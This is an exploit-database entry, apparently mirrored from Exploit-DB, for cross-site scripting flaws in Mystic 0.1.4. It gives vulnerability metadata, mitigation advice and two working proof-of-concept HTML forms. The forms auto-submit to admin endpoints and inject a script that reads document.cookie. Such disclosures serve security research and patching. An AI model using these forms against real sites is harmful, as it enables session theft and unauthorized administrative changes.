header-logo
Suggest Exploit
vendor:
Mystic
by:
4.3
CVSS
MEDIUM
Cross-Site Scripting (XSS)
79
CWE
Product Name: Mystic
Affected Version From: 2000.1.4
Affected Version To:
Patch Exists: NO
Related CWE:
CPE: a:mystic_project:mystic:0.1.4
Metasploit:
Other Scripts:
Platforms Tested:

Multiple Cross-Site Scripting Vulnerabilities in Mystic

Mystic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to properly sanitize and validate user-supplied input before displaying it on webpages. Implementing a Content Security Policy (CSP) can also help prevent XSS attacks. Regularly updating Mystic to the latest version and following secure coding practices can further reduce the risk of XSS vulnerabilities.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/42445/info

Mystic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mystic 0.1.4 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/create_new_category" method="post" name="main" >
<input type="hidden" name="category[id]" value="999" >
<input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Create New Category!" >
</form>
<script>
document.main.submit();
</script>



<form action="http://www.example.com/admin/create_new_status" method="post"  name="main" >
> <input type="hidden" name="status[id]" value="999" >
> <input type="hidden" name="status[name]" value='status name"><script>alert(document.cookie)</script>' >
> <input type="hidden" name="commit" value="Create New Status!" >
> </form>
> <script>
> document.main.submit();
> </script>
>